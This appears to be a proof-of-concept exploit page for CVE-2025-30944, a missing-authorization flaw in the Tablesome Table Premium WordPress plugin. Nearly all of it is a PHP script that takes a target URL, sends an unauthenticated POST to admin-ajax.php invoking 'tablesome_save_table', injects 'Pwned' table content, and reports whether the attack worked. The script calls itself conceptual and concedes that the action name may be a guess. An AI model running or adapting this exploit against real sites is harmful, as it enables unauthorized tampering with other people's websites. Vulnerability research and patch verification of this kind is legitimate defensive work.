CVE-2025-30944：Tablesome Table Premium插件缺失授权漏洞

<?php /** * CVE-2025-30944 - Tablesome Table Premium Missing Authorization PoC * Description: Exploits broken access control in tablesome-premium <= 1.1.23 * via unauthenticated AJAX endpoint (admin-ajax.php) * Usage: php poc.php <target_url> * Note: This is a conceptual PoC demonstrating the attack vector. * The actual action name and parameters depend on the * specific unprotected AJAX action exposed by the plugin. */ if ($argc < 2) { die("Usage: php poc.php <target_wordpress_url>\n"); } $target = rtrim($argv[1], '/'); $ajax_url = $target . '/wp-admin/admin-ajax.php'; // The plugin registers AJAX actions without proper capability checks. // Replace 'tablesome_action' with the actual unprotected action name. $action = 'tablesome_save_table'; // Crafted payload to invoke the privileged functionality without authentication $payload = http_build_query([ 'action' => $action, 'table_id' => '1', 'table_data' => json_encode([ 'title' => 'Pwned by CVE-2025-30944', 'content' => 'Malicious content injected via broken access control', ]), ]); $ch = curl_init($ajax_url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'], CURLOPT_TIMEOUT => 15, ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Target: $target\n"; echo "[+] Endpoint: $ajax_url\n"; echo "[+] Action: $action\n"; echo "[+] HTTP Status: $http_code\n"; echo "[+] Response: $response\n"; if ($http_code === 200 && stripos($response, 'success') !== false) { echo "[!] Exploit may have succeeded - check the target site.\n"; } else { echo "[-] Exploit may have failed or the action name differs.\n"; } ?>